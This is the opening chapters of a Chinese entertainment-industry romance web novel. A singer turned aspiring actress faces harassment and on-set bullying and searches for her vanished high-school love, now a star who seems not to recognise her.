《十八秒语音[娱乐圈]》
1. 第1章
《十八秒语音[娱乐圈]》
鹿酒粥/文
晋江文学城独发
2020年1月15日。
LiveHouse里灯光闪烁,空气中弥漫着酒精的味道。
“恭喜啊小洛澄,不仅签约了盛兴传媒,连新歌的播放量在三天之内就破百万了。”
二楼角落的卡座,乔媛媛举杯,“来,为这次的成功和前途无量的未来,咱们干一杯!”
洛澄与她碰杯,饮下酒,她视线俯瞰楼下,陌生的人群跟着驻唱歌手的演唱律动,挥舞手中的荧光棒。
五光十色地晃着她眼睛泛花。
“你看微博没?”
乔媛媛出声,拉回洛澄注意力,“微博怎么了?”
乔媛媛续满酒杯,“就是微博上关于你新歌的讨论,好多人都在脑补你歌里写的那个‘思念至极’的人,到底是谁。”
洛澄没什么兴趣,一杯酒又饮下肚,“有什么好讨论的。”
乔媛媛一语点穿,“你这首《四年》,该不会写的就是他吧。”
舞台表演的歌曲也从劲爆的DJ转换成了抒情情歌,缓慢且悠扬。
洛澄没说话,耳畔边萦绕着歌曲——
“我想念那个不太热的夏天,我想念两个人牵手的大街,我想念……”①
洛澄神情有些恍惚,眼神也变得黯淡无光。
昏暗的灯光下,乔媛媛没有注意到,她沾沾自喜继续说着:“被我猜中了吧。”
“我记得你歌里有句歌词,是什么,”乔媛媛想了半天,随后哼唱出来,“‘你十八秒的语音我听了四年,是四年,亦是四年的思念’,小洛澄,真有这十八秒的语音啊?”
乔媛媛凑过来,一副八卦样。
洛澄推开她的脸,“没有的事,歌词而已,你可别过度解读了。”
“到底有没有,你心里最清楚。不过,”乔媛媛翘着腿,“你这纯爱战神的人设,是彻底在娱乐圈立住了。”
洛澄挑着眉,“人设?我本来就是好吗?”
乔媛媛觑她,“不要脸,哪有纯爱战神自己说自己是纯爱的。”
洛澄纤细的手指指着自己,“我啊。”
乔媛媛“切”了声,她突然想起什么,“你明天是不是还有几场试镜?”
洛澄:“对。”
乔媛媛纳闷至极:“你说你好端端的,干嘛转型去做演员啊?”
她睇了洛澄一眼,“你该不会是为了他吧?”
从洛澄一言不发地态度上,乔媛媛就知道自己猜对了。
“我看你真是疯了,小洛澄,他早就不是之前那个人了,足足四年过去了,他哪怕有一次,就一次,他联系过你吗?”
“只有你一个人在苦苦坚持,又有什么意义?”
洛澄眸中闪过一丝痛色,“他肯定有自己的苦衷。”
扣人心弦的歌曲还在继续,每一处音符和歌词像一个巨大的无底洞,拉扯着洛澄无以言说的无奈和难过。
乔媛媛恨铁不成钢,或许是酒精的驱使,情绪也变得暴躁,“你个死恋爱脑,没有他,你活不了啊?!”
长睫盖住洛澄眼底的落寞,她声音却听不出半分波澜,依然轻描淡写,“我只是想问清楚。”
“问清楚什么,问清楚他为什么不回你消息,为什么电话关机,为什么不联系你?宝贝,很多时候,沉默就已经是答案了,我们没有必要一定得打破砂锅问到底。”
乔媛媛眼里透着一股心疼:“那除了显得自己很掉价以外,一点用途都没有。”
“你说得对。”下一位驻唱歌手仿佛更受欢迎,尖叫声比前面高涨不少,洛澄的声音没在里面,“他肯定遇到了什么事,他不是会突然消失的人。”
嘈杂的环境下,乔媛媛还是听清了。
她抿了抿唇,白眼快要翻上天了,“犟种,你就自己CPU你自己吧。”
洛澄不以为意,她闭着眼,脑袋不由跟着激情的舞曲轻摇,试图在这酒醉迷津里把一切烦恼都抛之脑后。
“那叫PUA。”
次日。
“对不起,你不太合适。”
拒绝的话洛澄已经听麻木了。
这已经是她这段时间面试的第67个角色了,依然都被告知落选。
洛澄站在大楼下,抬步上楼面试她第68个角色。
走进试镜的房间,不如以往那样,洛澄被助理带进到一间办公室。
只有一位体型偏胖穿着西装的男人坐在椅子上,他那油腻的啤酒肚大到似乎随时能把胸前的纽扣撑坏。
助理出去时顺道关上了门。
王许山起身,绕过办公桌来到洛澄身边,大手轻轻撩起她长垂腰际的秀发,乌黑而柔软,他在鼻尖一嗅,“真香。”
洛澄脸色一沉,后退两步拉开距离。
王许山上前一步,猝不及防下拉住洛澄的手,“如果你愿意的话,我可以给你女主角。”
洛澄迅速抽回自己的手,“王导,我是想演戏,但不是以这种方式。”
晦气至极,洛澄板着脸,一秒钟也不想多待,“我还有事,恕不奉陪。”
王许山伸手用劲一拽,把她抱在怀里,“只要你愿意,别说女主角了,你想要什么我都能满足你。”
“啪——”
洛澄挣脱开,反手一巴掌。
王许山被扇得有些迷糊,紧接着,他的脸刹那间拉了下来,怒呵道:“你敢打我?!你个小婊子,装什么清高!你以为我不知道吗,你们这些女的,想出名,谁的床没上过?!我都不嫌你脏,你倒是横起来了啊!”
洛澄目光一寒,面对他猥琐的脸,强忍着快要吐出来的冲动,“我嫌你脏。”
“你就等着被封杀吧!”
听到身后王许山的话,洛澄顿时加快了离开的脚步,摔门而出。
一直在办公室门外站着的助理恍惚了下,听到老板的谩骂声,随即进了办公室,“老板,咱们真的要对付她吗?”
王许山照着镜子,脸上是鲜红的巴掌印,他闻言瞪着助理,“你什么意思?!”
助理心里有些犯怵,“她是盛兴传媒的人。”
王许山:“盛兴传媒怎么了,我怕他不成?!况且他盛兴传媒那么多艺人,这个姓洛的不过就是个小网红,他犯得着因为一个半吊子跟我对着干?!”
-
整个浴室里充斥着水流声。
洛澄手里死死攥着搓澡巾,从脖子到腰,又到手,使劲搓着身上每一寸肌肤,恨不得搓层皮下来。
脏死了。
脏死了。
脏死了!
脑海里一遍又一遍浮现王许山羞辱她话。
这么多天屡屡碰壁,那些当着她面说的难听话,也全部在脑里回荡。
“你以前什么戏都没演过啊?这角色不适合你。”
“一个破唱歌的会演什么,走走走。”
“实在不好意思啊小洛,本来这个角色是给你的,在我心里你是最合适不过的人选了,但是吧,投资方一定要推荐另一位老师来演。”
我迟早有一天,会让你们这些瞧不起我的人,跪下来求我演!
门外,乔媛媛来回踱步,她抬手敲了敲门。
“洛澄,你都洗了快俩小时了,你还没洗好吗?”
听到里面只有水流声,却没有人回应,乔媛媛急了,使劲敲着门,“洛澄?洛澄你听得到我说话吗?!”
“你再不说话我可就进去了啊!”
说罢,乔媛媛推开门进了浴室,只见洛澄把自己身体搓的通红。
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她抢过洛澄手里的搓澡巾,“你这是干嘛啊?!”
-
这已经不知道是洛澄第多少次试镜了。
结果还是一样的,当面就把她拒了。
跟在洛澄旁边的小助理小玲,边走边安慰,“没事的澄姐,是他们有眼无珠。”
两人一同往电梯口走。
恰逢此时,在不远处的赵芮情盯着她们离开的背影,询问旁边的工作人员,“她来干什么?”
“情姐。”工作人员打了声招呼,顺着她手指的方向看过去,“她来试镜的。”
赵芮情折身往某个办公室走去。
“刘导。”
刘导冲着进来的人谄媚笑道:“赵老师,请坐请坐。”
-
洛澄刚离开试镜的地方,商务车还没开远,便接到了刘导打来的电话。
“请问是洛澄洛小姐吗?”
洛澄有些意外地看了眼手机号码,紧忙回道:“是我。”
刘导:“关于你今天下午试镜的《风止妖》,有个角色不知道你愿不愿意演。”
幸福来得如此突然,洛澄当下就同意了,“我愿意。”
刘导:“行,那你后天过来。”
-
临到片场前,助理小玲还在给洛澄加油打气。
“姐,你一定可以的,别紧张!加油加油!”
片场的所有人都在忙前忙后,刘导是第一个注意到洛澄的,他拿着一张所谓剧本的A4纸,递给洛澄,“这就是你的剧本,你先熟悉一下,没问题的话马上开拍。”
洛澄从上至下浏览着纸上的黑字,只有短短几行字,是人物的介绍。
饰演的是女主身边的聋哑侍女,只有一场戏。
小玲不可置信问道:“导演,是不是搞错了?怎么一句台词都没有?”
刘导:“没搞错,毕竟是聋哑侍女,当然没台词了。”
小玲:“但是……”
小玲还想继续说些什么,却被洛澄拦下了,“没问题导演。”
“行。”刘导吩咐旁边的人,“去喊赵老师。”
洛澄安静地站在旁边等着,她扫视了周围一圈,视线所到处都是能喊上名的知名演员,而她,在里面不过就是个无人问津的小透明。
“刘导。”
一道洋洋盈耳的女音传来。
洛澄循声望去,来者穿着粉红的宫装,她腰若细柳,袅袅婷婷,略施粉黛的脸比桃花还要媚,可谓是国色天香。
洛澄不动声色地蹙了下眉。
赵芮情。
刘导简单的介绍了下后,拿着道具指挥着:“洛澄,一会儿你不小心把它打破后,马上跪下,然后赵老师你指着她骂了声贱奴,这是我祖母送我的生辰礼物!这时候会有人进来禀报,打断了你们的对话。到这里这场戏就结束了,懂了吗?”
短短不到一分钟的戏,洛澄听得十分认真。
她点了下头。
赵芮情勾唇笑道:“开始吧导演。”
刘导:“二场一镜一次,开始!”
洛澄扮演的聋哑侍女擦拭着梳妆台的灰尘,只听,一声脆响,桌上那翡翠玉镯摔碎在地。
紧接着,急促的脚步声匆匆入了屋。
聋哑侍女面色惨如白纸,她立刻双膝跪地匍在地板上,浑身都在抖。
赵芮情居高临下地盯着她脚边的人儿,她微微弯腰手扶聋哑侍女的肩膀,使她直起腰来正视自己。
聋哑侍女的手抖得更厉害了,她战战兢兢地,不敢直视对方的眼睛。
在所有人都在疑惑赵芮情怎么还不说台词的时候,下一秒,赵芮情抬起手——
“啪!”
清脆的耳光落在洛澄的脸上。
“你这个贱奴!”
2. 第2章
洛澄感觉脸上烧得火辣辣的疼。
所有人都呆住了。
什么情况?
剧本里没这段吧?
“咔!”
导演第一个从懵圈的状态中出来,他立即喊停,“赵老师,您这是?”
赵芮情一脸无辜,“导演,我是觉得,这个手镯既然是我祖母送我的,那一定非常珍贵,所以这个时候发怒,打了一巴掌,才更真实。”
刘导眼瞅着洛澄白皙的脸蛋上已然泛红,心生几许怜悯,“行吧,但你别真打,你就借个位就行,我们后期会处理的。”
“那怎么行。”赵芮情反驳:“导演,这真打,才真情实意啊。”
赵芮情身居娱乐圈一线,父亲是盐城出了名的豪商,有强大背景支持的她在娱乐圈里是出了名的刁蛮任性,不好惹。
几乎没人敢得罪,就连作为导演的刘导,都要给她几分薄面。
她都如此说了,刘导也不好再驳回些什么,加上觉得她说的也有几分道理,也就此同意了。
接下来的两次,赵芮情的巴掌落在洛澄的脸上后,她总是以各种理由喊咔。
赵芮情:“导演,我刚才打偏了。”
赵芮情:“不好意思导演,我忘词了。”
在赵芮情第四次准备下手时,洛澄一把抓住她的手腕,反手就是一耳光反扇了回去。
一记耳光打在赵芮情的脸上,清脆的声音在安静的片场里显得格外响亮,她的脸也立马出现了红肿。
“你这个贱奴!这是我祖母送我的生辰礼物!”
当着所有人的面,洛澄冷着一张脸,“学会了吗?没学会的话,我再教你一次。”
赵芮情的耳朵一阵阵轰鸣,她猛然惊醒,怒瞪着洛澄。
“好好好!这表情,这眼神,到位!”刘导突然拍手叫好,“赵老师,就按照洛澄这个神态演!”
赵芮情目光中闪烁着愤怒,“洛澄!”
她抬起手,洛澄精准捏住她就要挥下来的手腕,洛澄逐渐用力,赵芮情吃痛地闷哼一声。
洛澄凑近她,用仅她们两人可以听见的音量,说道:“赵芮情,别得寸进尺。”
话落,洛澄唇角勉强勾起冰冷的笑容,“开始吧,赵老师。”
在洛澄的警告后,这场戏终于是顺利过了。
洛澄唯一一场戏也因此杀青了。
洛澄同导演和工作人员打了声招呼,便先行离开。
助理小玲愤愤不平道:“澄姐,赵芮情她分明就是故意的!”
洛澄眼看着镜子里自己的脸肿了一圈,她暗暗咬紧了牙关。
赵芮情和她是初高中的同班同学,两人以前本就不对付。
赵芮情在娱乐圈里混,她是知道的,只是怎么也没想到,居然会这么倒霉,冤家路窄搭了戏。
如果不是为了曝光率,她才不愿意受这个委屈。
-
洛澄回家之前,先去了趟药店买了消肿药,脸上那巴掌印清晰可见。
洛澄来到公交车站台前,巨大的LED板上放着一张风度翩翩的男人照片,她失神地盯着这张脸。
回忆不受控的一涌而出,她抬起手,指尖轻轻抚在照片中的脸颊上,幻想从中感受出一丝温度,哪怕只有一点点。
可这毕竟是块冰冷的玻璃板。
电话铃声响,洛澄迅速深呼吸了好几口气,才摁下接听。
“姌姌,过几天就大年三十了,你什么时候回来啊?”
洛澄压下心里的难过,试图让自己说话的声音回归正常,“爸,我23号回去。”
“那爸爸23号上来接你。”
“不用了爸,我自己坐车就好。”
“行,那你路上注意安全,到家了跟爸说。”
“好。”
下午的公交车总会比高峰期的要少,洛澄等了十多分钟也不见来一辆。
家其实也不算远,两公里,步行半个钟就能到。
也不知道这公交车还要等多久,反正也闲来无事,洛澄正准备沿着路走回家。
就在这时,洛澄听到旁边一座大厦的双开玻璃门打开的声音。
她下意识回过头。
洛澄脸色陡然一变,脑袋一片空白。
她几乎错不开眼,愕然失色盯着款步而出的一行人。
走在最前面的男人身姿挺拔,穿着白色羽绒服,深色牛仔裤,脖颈上戴着一个黑色的头套式耳机,整个人透着一派天然的少年感。
如此精致的人从旁经过,是人都会忍不住多看几眼。
他清绝瘦挺的鼻梁上架着一副黑色墨镜,但露出的大半张脸足以让洛澄瞳孔骤缩。
那LED板上的男人,此刻竟然就在她眼前。
她不会看错。
她不可能看错!
男人身边跟着助理和保安,洛澄失控般冲过去,一把抓住他的手腕。
“林久期?!”
对方猝不及防下,洛澄伸手一把摘下他脸上的墨镜,“真的是你!”
墨镜下,那双明眸清澈如水,柳叶桃花眼的眼尾安静略垂,让人一不小心就会沉沦。
他的模样一如往昔,五官生得极好,完美的三庭五眼比例,是张令人羡慕的建模脸。
洛澄与他视线相撞,他眼神干净清冷,此刻却带着若有若无的审视和陌生的意味。
洛澄抓着他的手微颤,胸口剧烈起伏着,微微张口刚想质问,蓦地,洛澄被旁边的保安拉开。
随后,林久期头也不回的上了车,留下失神一般愣怔在那的洛澄。
洛澄意识过来,“林久期!”
她试图跑向他,旁边的保安硬生生给拦住,只能眼睁睁看着车子行驶离开。
车内隐约听到背后传来女生发了疯的呐喊:“林久期!林久期!”
助理刘俊透过窗户往后望,“这粉丝也太疯狂了吧!”
他说完,自己又不由嘀咕一句:“不过,怎么这么眼熟?”
林久期见怪不怪,比她还要疯狂的粉丝,他见的也不少。
车内播放起音乐,舒缓的前奏过后,是宛转悠扬的女音,刘俊这才反应过来,惊叹:“哥!刚才那个人!”
林久期目光瞥向前面的后视镜,女生的身影早就没了踪迹,“你认识?”
“不是不是,她是洛澄啊!”刘俊解释:“就是唱这首歌的洛澄,咱公司新签的那个网络歌手。”
林久期还是没什么反应。
刘俊继续说,言辞里透着对这首歌的喜爱和敬佩,“她自创的这首《四年》可火了,现在的播放量起码有一千万了。”
林久期撑着头,听着歌曲里唱着——
“你十八秒的语音我听了四年……”
嗯,是挺好听的。
-
洛澄垂眸,手里还拿着他的墨镜。
九七,真的是你……
想起他看自己的眼神,洛澄拧着眉。
你为什么要这么看着我?你为什么不跟我说话?
洛澄回了家。
一路上无数个念头涌上,反反复复地猜测他今天的态度,可试想再多次,她还是毫无头绪。
而那多年的思念也如长蛇,盘绕在她心头。
乔媛媛回来的时候见洛澄独自坐在客厅饮酒。
“怎么了,怎么自己喝闷酒?”
洛澄坐在铺在地板的毛绒地毯上,她头耷拉着,醉眸微醺着说:“我
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今天见到林久期了。”
“噗——”乔媛媛正拿起一罐啤酒喝,听闻,一口酒喷了出来,“真的假的?!你不是去拍戏了吗?!”
“嗯。”洛澄吸了吸鼻子,说话的声音很轻,“我回家的路上见到他了。”
乔媛媛屈身坐在她旁边,“怎么样,你们都聊了什么?”
“我们……”洛澄咬着下唇,夺过乔媛媛手里的啤酒,喝了几大口,颤抖着声音说:“我们什么都没聊,甚至,他一句话都没有和我说。”
洛澄心里的酸楚再也压不住,她眼眶蒙上一层水雾,“媛媛,你说,他为什么不理我?”
乔媛媛一下慌了,她连忙找着理由,“会不会是他有什么急事啊,所以来不及和你说话。”
洛澄的眼泪掉在地板上,趴在一边的橘猫舔了舔,兴许是有些咸,它小碎步到自己的饭碗前喝上了水。
“他当时就那么看着我,就那么看着我,就好像,”洛澄喉间一哽,声音难以控制地颤抖着,“就好像是在看陌生人一样。”
乔媛媛抱住她,轻轻地拍着她的后背,柔声安慰:“不会的不会的,你俩以前关系这么好,怎么可能是陌生人啊。”
“对啊,到底是为什么啊……”
铺天盖地的痛苦将她席卷,就像破碎的玻璃扎进胸腔,她失声痛哭,“我找了他四年,整整四年啊……”
-
冬日的阳光穿透云层,从窗外照射进屋内。
躺在地毯上的洛澄睫翼微颤几下,她缓缓睁开眼。
宿醉后的头隐隐作疼,“嘶——”
洛澄倒吸了口凉气,她揉着太阳穴,缓过神来视线也逐渐清晰。
客厅一片狼藉,满桌满地的酒瓶东倒西歪,洛澄不经意望向一旁阳台的玻璃桌上面摆放着的电脑,她定睛一看。
须臾,她连忙拍醒旁边沙发上躺着的乔媛媛,“快醒醒!”
洛澄忙不迭地扯纸巾去擦键盘上湿漉漉的一大片,纸巾被染黄了,还有一股尿骚味。
“困死了。”
乔媛媛上一秒还在哈气连天,待看清洛澄手上的纸巾后,一声尖叫:“我的电脑啊!”
她马不停蹄从沙发上爬起来,“大黄!你干的好事!”
橘猫躲在阳台的花盆后面,一张圆脑袋上的眼珠滴流圆,看上去尤为无辜。
乔媛媛尝试开机,但是怎么都打不开,“完了完了,这电脑里都是我的身家财产啊!”
作为网络小说作者,电脑就是乔媛媛吃饭的家伙。她急得满屋转,脸也不洗牙也不刷,抱着电脑,穿上鞋就往外冲。
“大黄我回来再跟你算账!”
“砰——”
门被重重地合上。
洛澄收拾着昨天的残局,一桌的零食袋和酒瓶,她也没什么精力去打扫的很干净,全部扔进垃圾桶里,又拿纸巾随便擦了擦桌子后,回了自己的屋。
她坐在床头,手机点开Q.Q软件里的收藏,里面有且仅有一条十八秒的语音。
她点了开。
“祝你生日快乐,祝你生日快乐……”
里面传出少年清冽的声音,他唱着生日祝福歌,“姌姌,生日快乐,还有,我喜欢你,你愿意做我的女朋友吗?”
播放结束。
洛澄又播放了一遍。
结束后,她又点击播放。
一遍又一遍,少年的声音回荡在房间里。
洛澄鼻子一酸,两颗泪珠啪嗒一声砸下,晕花了手机屏幕。
她捏着袖子来回擦拭着,又摁了一遍语音。
“姌姌,生日快乐……”
“姌姌……”
“林久期……”
“你个骗子。”
3. 第3章
洛澄一天都把自己窝在家里。
许是宿醉没醒身子不适,又或许是心情欠佳。
助理小玲担心的不行,吵着说就要买东西来看望她,她好说歹说,说自己只想安安静静的修养,小玲才作罢。
人无聊的时候总会胡思乱想。
洛澄又忍不住想起昨天见到林久期时的画面了。
他五官看上去比以前还要立体了,骨骼分明,消瘦了不少。她还是喜欢他以前的模样,脸上有些肉,线条也看着更流畅。
她最喜欢的还是他那双桃花眼,清澈中带着几分柔情,他无论是看人还是看物,眼神总是含情脉脉的。
也不知道他为什么要装作不认识她?
是为了避嫌吗?
洛澄躺在沙发上,一会儿想得通,一会儿又想不通。
她翻了个身,下意识抬手去撑脸,可却一不小心摁到了昨天被打的位置,“嘶——”
洛澄急忙撤开手,倒吸了一口凉气。
晚上。
洛澄正对着镜子擦药,乔媛媛打来电话。
“喂,小洛澄,你在家吗?”
红印子稍微消下去些,洛澄走出卫生间,“在家,怎么了?”
乔媛媛:“你看看我的身份证是不是落我房间里了。”
闻言,洛澄往乔媛媛的房间去,翻找半天,才在床头柜的抽屉里看到,“在抽屉里。”
乔媛媛:“啊真是的,我家里人说今年过年去度假,我身份证没带回来,你别锁门啊,我一会儿回来取。”
乔媛媛家就是盐城市区的,只是她不愿意听家长念叨,觉得和长辈住在一起没自由,上大学以后便和洛澄合租,两人一起在大学城附近租了房子。
两人从小学开始就是好朋友,乔媛媛家里虽然对此说过她,但也还算放心。
晚上十点过。
洛澄躺在床上,隐隐约约听到外面的开门声。
半晌后,乔媛媛敲了她的房门,“小洛澄,你睡了吗?”
洛澄背对着房门侧躺着,眼睛望着前方窗外的天空,夜色浓郁,弥漫着深蓝色的薄雾。
“给你买了夜宵。”
听着门外的人嘀咕一句:“奇怪,今天怎么睡这么早?”
洛澄依然没有开口回应,只是盯着高悬的月亮发呆。
良久后,听到开门离开的声音。
洛澄叹了口气,脸上还是有点火辣辣的疼,她缩进被窝里。
洛澄一夜未眠。
清晨时分,父亲洛于彬打来了电话,“姌姌,你明天天几点到啊?”
洛澄的声音有些沙哑,“爸,中午到。”
“好,那我等你一块吃午饭。”
-
翌日一早。
洛澄去到火车站,临近春年,车站里哄哄闹闹,都是背着行囊赶车的人。
取票处挤满了排队的人,近到似乎都能听见彼此的喘息声。
幸好自己提前来了,不然恐怕赶不上车。
洛澄排了一个多小时的队伍才取到票,不免感慨。
洛澄在拥挤的人群里穿行,边往外走,她边把车票装进钱包里,而后,钱包又放进了背包里。
骤然,在一张张陌生的面孔里,洛澄不知道被路过的谁撞了一下。
她几个踉跄后才勉强站稳。
“亲爱的旅客,开往莫川县方向的列车,已经开始检票了……”
听到火车站的播报,不少人蜂拥而上,洛澄随着人群通过安检,等大部分人都排队在检票口时,她才默默走到队伍的最后面。
洛澄戴着白色的毛绒渔夫帽和白色口罩,掩藏在密密麻麻的人堆里,无人注意,或许是她遮得严实,也或许是她不过是个刚出道的小网红,没太大名气。
眼见快到自己检票了,洛澄打开背包,翻了半天,眉梢愈加紧锁。
钱包呢?!
眼瞅前面只有四五个人了,洛澄干脆走到一旁,精致的小包里,肉眼可见就几样东西,原本该在里面的粉色钱包,却不见了踪影。
奇怪了,明明放在里面的。
洛澄连羽绒服的衣服口袋都摸过了,也还是没有,再怎么想,她也不可能放在行李箱里。
思来想去好一会儿,洛澄忽然想起刚才取票后,被人撞了。
排队的乘客已经所剩无几,眼看就要到发车时间,洛澄迅速找到工作人员,着急忙慌地办理临时身份证。
可即便如此,还是耽误了上车。
洛澄简单地告知了自己钱包被偷的事情,工作人员知情后也马上进行调查和安抚,表示会全力搜索的。
钱包里只有几十的零钱,但车票和身份证都在里面。洛澄已经来不及在意那点钱了,她慌得只想乘车回家。
本来就是春运,错过这班车,谁知道下班车还有没有票。
“您别担心,我们会安排下一班车让您乘坐的。”
这句话仿佛定心丸,洛澄这才舒了口气。
不过去莫川县的下一班车要下午四点。
洛于彬打来电话。
“姌姌,到哪儿了?”
车站喧嚣不已,洛澄走到稍微安静些的位置,“爸,我临时有点工作,改下午的车票了。”
洛于彬:“好好好,那你先忙,记得一定要吃东西,别饿着。”
洛澄:“好。”
洛澄挂了电话,去到一旁小卖部。
店面很小却五脏俱全,洛澄浏览着货架上的商品,每个商品下面都明码标价着,泡面都要12块钱。
挑选半天后,洛澄指着透明柜里的包子,“麻烦帮我拿一个这个。”
收营员:“五块钱。”
一直在火车站待到下午四点,洛澄上了车。
直到傍晚6点过,才回到家。
听到开门声,洛于彬围着围裙,从厨房里出来,“姌姌,饿了吧,给你做了你最爱吃的酸汤鱼,马上就能吃饭了。”
“谢谢爸。”
洛澄拖着行李箱往房间去。
她难得回家一次,充满少女心的粉色放屋里一尘不染,房间不大,但干净整洁。
行李箱放置在角落里,她走到窗边推开窗,冬日的寒风迎面呼啸,她不禁打了个颤。
“啪——”
清脆一声,旁边桌上的相框被吹倒,她伸手拿起,相框里的照片上是两位穿着藏青色校服的少年少女。
女孩站在台阶上才勉强能与男孩身高持平,她
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身子撑在男孩的肩膀上,一手捏着男孩的脸,咧着嘴笑。
而男孩只是宠溺地望着她。
“九七,有没有人说过你像个小姑娘?”
“为什么这么问?”
“因为你的脸比女娃娃的还好捏。”
“九七,你盯着我看干什么,看镜头。”
“我在想,你的会不会也很好捏。”
往事回笼的这一刻,几乎要将洛澄吞噬。
照片是在他们高中毕业的时候拍的,从那天之后他们再也没见过面,直到林久期忽然消失,他们彻底断了联系。
如果知道那是最后一次见面,我一定好好抱抱你。
洛澄轻叹口气,她小心翼翼放下相框。
外面传来洛于彬的声音。
“姌姌,小林跟你一块回来的吗?我刚才还看到他了。”
洛澄以为自己听错了,快步出了房间,“谁,小林?”
洛于彬站在厨房的灶台前做菜,“小林啊,就跟你玩得好的那个小林,林久期。”
林久期?!
洛澄简直不敢相信自己的耳朵,她失控般地喊出声:“爸你在哪看到他的?!”
“就你王姨家水果店那里,我看他在那里买水果。”洛于彬自顾自说着:“但是那孩子奇了怪了,我喊他好几声他都没应。”
洛于彬回头看去,洛澄已经在玄关处换鞋了,“姌姌你去哪儿啊?”
“我出去一趟!”
洛澄撂下一句话,便跑出了门。
莫川县不大,洛澄穿过几个街道就到了王姨家的水果店。
王姨正在拣货,看到气喘吁吁而来的洛澄,笑道:“诶唷姌姌呀,你这急匆匆的是干嘛呀?”
洛澄上气不接下气,“王姨,您还记得小林吗,他刚才是不是来您这里买过水果?”
王姨放下手里的苹果,“小林?”
这名字格外熟悉,她冥思苦想许久,才恍然,拍手道:“你说的是以前经常来找你玩的小林啊。对对对,他刚才是来买过水果,我说这孩子怎么看着这么眼熟呢。”
听着王姨喋喋不休地说着,洛澄心跳的厉害,“他去哪儿了?!”
王姨指着一条路,“往那边去了。”
“谢谢王姨!”
洛澄顺着手指方向望去,没有其他路,只有一个小区大门。
洛澄想都没想,抬脚就跑了进去。
小区里都是老市步梯民房,每栋楼都只有五层高,不少小孩在楼下放鞭炮,嬉戏打闹声音好不欢愉。
洛澄随便逮住一个便问:“小朋友,你有没有看到一个很高的哥哥经过这里?”
小男孩抬头望着陌生又极为清丽的脸,她肤色白净,明眸皓齿,一张未脱稚气的脸快要皱成一团了。
“仙女姐姐。”
小男孩还是第一次见到这么好看的大姐姐,他脱口而出后,又眨着眼睛道:“我没有看见过。”
洛澄敛了敛眸,有些失落,“谢谢。”
洛澄不死心,在小区里一路走一路问,“你好,请问有没有看到一个很高的男生经过这里?”
路人的回答近乎一致:“没有。”
林久期,你到底在哪儿?
4. 第4章
“不好意思啊期哥,让你这么大老远的跟我跑一趟。”
刘俊倒了杯水递给他,“期哥,喝水。”
林久期背靠着窗户,温水的热气模糊了他的神情,他吹了吹,抿了口,“你爷爷怎么样?”
刘俊给自己也倒了杯水,“已经睡下了。”
林久期问:“他这种情况多久了?”
“半年多了吧。”刘俊忍不住叹息道:“之前也走丢过一次,好在被邻居带回来了,只是最近这种情况越来越严重了。”
刘俊今天早上跟林久期刚出完外务,便接到了邻居打来的电话,被告知爷爷又走丢了,这才马不停蹄地赶回莫川。
林久期望向紧闭的房门,“阿尔兹海默症?”
刘俊:“对。”
林久期:“怎么不接去盐城?”
“接上去过的,但是他上去之后情绪特别激动。”刘俊顿了下,“你知道的,我爸妈在盐城出的事,都走了,所以他才比较抗拒。”
林久期从10年高一出道到现在七年了,刘俊做他助理就做了四年。
对于刘俊家里的情况,他还是略知一二的,“留在这你也放心不下。”
“没事的,我大伯今晚就回来了,他以后就留在莫川了。”
刘俊眼里一闪而过的难过,“他现在连我都记不得了。我从小就是被爷爷拉扯大的,他算是我在这个世上最重要的人了。怎么说呢,被重要的人忘记,这感觉,还挺不是滋味的。”
刘俊笑了笑,“对不起啊期哥,突然伤感起来了。”
他起身走到冰箱前,从里面拿出菜,“期哥你晚上想吃什么,我下厨。”
“都可以,我不挑。”
林久期话音刚落,楼底下依稀可闻女生询问的声音。
“你好,请问有没有看到一个很高的男生经过这里?”
林久期回头往下望,只见一位穿着白色棉服的女生拉着路人。
她声音不算大,却足以让住在二楼的人听清,刘俊闻声也来到窗户边向下看,“洛澄?她怎么在这里?”
林久期看着她边走边问,她四下徘徊了很久,周围也没其他人了,半晌后,垂着头离开。
林久期收回视线,他喝了口热水,慢条斯理地走到沙发上坐下,手里的杯子顺势放在茶几上。
天空乌黑一片,沉得像是快要吞噬掉整个莫川县。
雨水往屋里飘,刘俊拉关上窗户。
刘俊:“期哥,你干脆就留在我家过年吧。”
林久期:“不了,太打扰了。”
“这有啥啊,不就多双筷子的事,人多还热闹点呢。”
刘俊往里屋走,“好了,就这么决定了,我去给你铺床。”
-
冬季的夜幕总是降临的很快,淅淅沥沥下起雨来。
雨势渐大,洛澄踩着被染深的浅色水泥往家跑。
洛于彬端着碗筷放好在桌上,瞅了眼墙上的时钟,快七点了,手在围腰上来回擦拭了下,从裤兜里拿出手机。
正要拨出电话,家门被人从外打开了。
“姌姌,你去哪儿了啊,怎么淋湿成这样?!”
洛澄嘴上说着没事,却忍不住打了个喷嚏。
她迅速回房换了身衣服,洗手吃饭。
洛澄也没添饭,夹了几筷子的菜后,就没什么动作了。
洛于彬见状,出声询问:“姌姌,不和胃口吗,都是你爱吃的菜,是不是差点盐。”
洛澄摇摇头,“没有,爸,很好吃,是我有些困了。”
洛于彬嘱咐道:“那早点吃完,洗个热水澡就休息吧。”
食过晚饭,洛澄洗完碗,冲了个热水澡,便回自己的房间了。
洛澄从背包里拿出蓝牙耳机戴上,她躺上床,手机上点开□□,界面里有且只有一个对话框被置顶。
她点进去,里面清一色都是自己发出去的消息。
而对方,依旧是灰色的头像。自从高三毕业后,再也没亮过。
洛澄从底一直往上翻——
【九七,我昨天见到你了,你为什么不理我?】
【九七,我想你了。】
【九七,生日快乐。】
【九七……】
翻到了2013年7月12日00:00分。
终于有一条是对方发来的信息了,是一条十八秒的语音。
洛澄颤抖着指尖,点开它——
“祝你生日快乐……”
洛澄眼眶发酸,登时红了眼睛,“九七,你来莫川了,是来找我的吗?可你,又去哪儿了呢?”
-
大年三十夜。
洛澄吃过晚饭后闲来无事,一个人去了广场上溜达。
即使是严寒,街上也并不冷清,灯杆和树枝上早早挂满了红灯笼,街边的小摊小贩不断吆喝,行人来来往往,好不热闹。
莫川县会在广场上举办篝火晚会。
篝火已经搭建好了,就等十二点点燃狂欢。
洛澄走累了,随意坐在石凳子上,眼前的湖边是一群小孩在放烟花。
他们把烟花放置在地上,点燃后马上跑开,烟火上升。
烟花的碎星向四处肆意散开,耀眼的光芒中,洛澄隐约看到在烟火后面湖中的桥上,有一道人影。
若影若现,模糊在绚烂的光斑中。
洛澄猛然站起身,她快步往湖边走。
烟花还在绽放,距离愈来愈近。
在洛澄走进的那一刻,烟花熄灭,世界再次回到一片墨染中。
洛澄也在这一刻看清了,她与湖上的木桥只有一米的距离,她能清楚看见那道身影的主人。
